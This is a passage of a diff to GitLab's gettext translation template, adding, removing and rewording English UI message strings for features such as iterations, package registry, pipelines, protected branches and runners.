+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18853,6 +18547,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18865,6 +18562,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18883,9 +18586,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18985,9 +18694,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19036,6 +18751,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -19126,9 +18844,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19156,18 +18871,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19279,9 +18982,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19441,9 +19141,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19676,9 +19373,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19886,6 +19580,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -20121,6 +19818,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20355,6 +20055,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20373,9 +20082,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20595,9 +20301,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20667,6 +20370,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20688,6 +20394,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20700,6 +20409,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20760,9 +20472,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21541,9 +21250,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21686,9 +21392,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21947,9 +21650,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -22125,9 +21825,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22176,7 +21873,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22233,13 +21930,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22438,9 +22135,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22459,7 +22153,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22768,9 +22462,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22957,9 +22648,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -23102,9 +22790,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23742,10 +23427,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23823,6 +23508,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23853,6 +23541,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23877,9 +23571,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23931,6 +23622,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23940,15 +23634,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23994,6 +23688,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -24024,6 +23724,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24216,9 +23922,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24423,10 +24126,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24438,9 +24141,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24450,16 +24150,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24579,10 +24285,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24600,12 +24306,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24717,9 +24429,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24870,13 +24579,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24921,10 +24630,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24936,6 +24645,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25548,6 +25263,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25833,9 +25551,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25863,6 +25578,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25875,9 +25593,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25926,15 +25641,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25983,9 +25692,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26601,9 +26307,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26619,9 +26322,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26706,21 +26406,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26736,18 +26433,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26763,9 +26451,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26778,6 +26463,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26793,7 +26481,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26802,6 +26490,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26811,9 +26502,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26832,9 +26520,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26958,13 +26643,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26985,12 +26673,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -27000,6 +26697,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -27009,12 +26709,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -27060,18 +26763,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Protected tags"
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27478,6 +27193,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27505,6 +27223,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27686,6 +27407,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27701,15 +27425,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27725,9 +27443,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27875,15 +27590,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27893,15 +27611,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28313,6 +28022,9 @@ msgstr[3] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28463,12 +28175,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28484,9 +28190,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28585,6 +28288,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28594,9 +28300,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28663,12 +28366,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28678,6 +28390,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28687,9 +28402,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28702,9 +28426,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28747,12 +28477,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28783,6 +28519,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28861,6 +28603,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28912,10 +28660,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28948,6 +28693,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28999,6 +28747,9 @@ msgstr ""
